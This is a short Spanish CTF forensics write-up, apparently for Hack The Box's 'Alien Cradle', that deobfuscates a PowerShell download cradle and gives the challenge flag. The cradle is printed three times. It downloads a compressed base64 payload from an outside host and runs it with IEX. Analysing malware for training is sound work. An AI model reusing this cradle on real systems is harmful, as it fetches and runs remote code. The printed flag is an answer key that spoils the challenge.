<- FORENSICS

Alien Cradle

1 minuto de lectura

Se nos proporciona un script en PowerShell llamado cradle.ps1:

if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};$w = New-Object net.webclient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Desofuscación de PowerShell

Está un poco ofuscado, vamos a formatearlo un poco:

if ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth') {
  exit
};

$w = New-Object net.webclient;
$w.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials;
$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String($d));
$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s ,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Bueno, todavía hay algunos signos + en strings:

if ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth') {
  exit
};

$w = New-Object net.webclient;
$w.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials;
$d = $w.DownloadString('http://windowsliveupdater.com/updates/3396f3bf5a605cc41bd0d6e2291482a5/2_34122.gzip.b64');
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String($d));
$f = 'HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}';
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s ,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Ahora está completamente desofuscado, se ve que descarga un payload codificado/comprimido y lo ejecuta.

Flag

Lo que es más importante, la flag está ahí:

HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}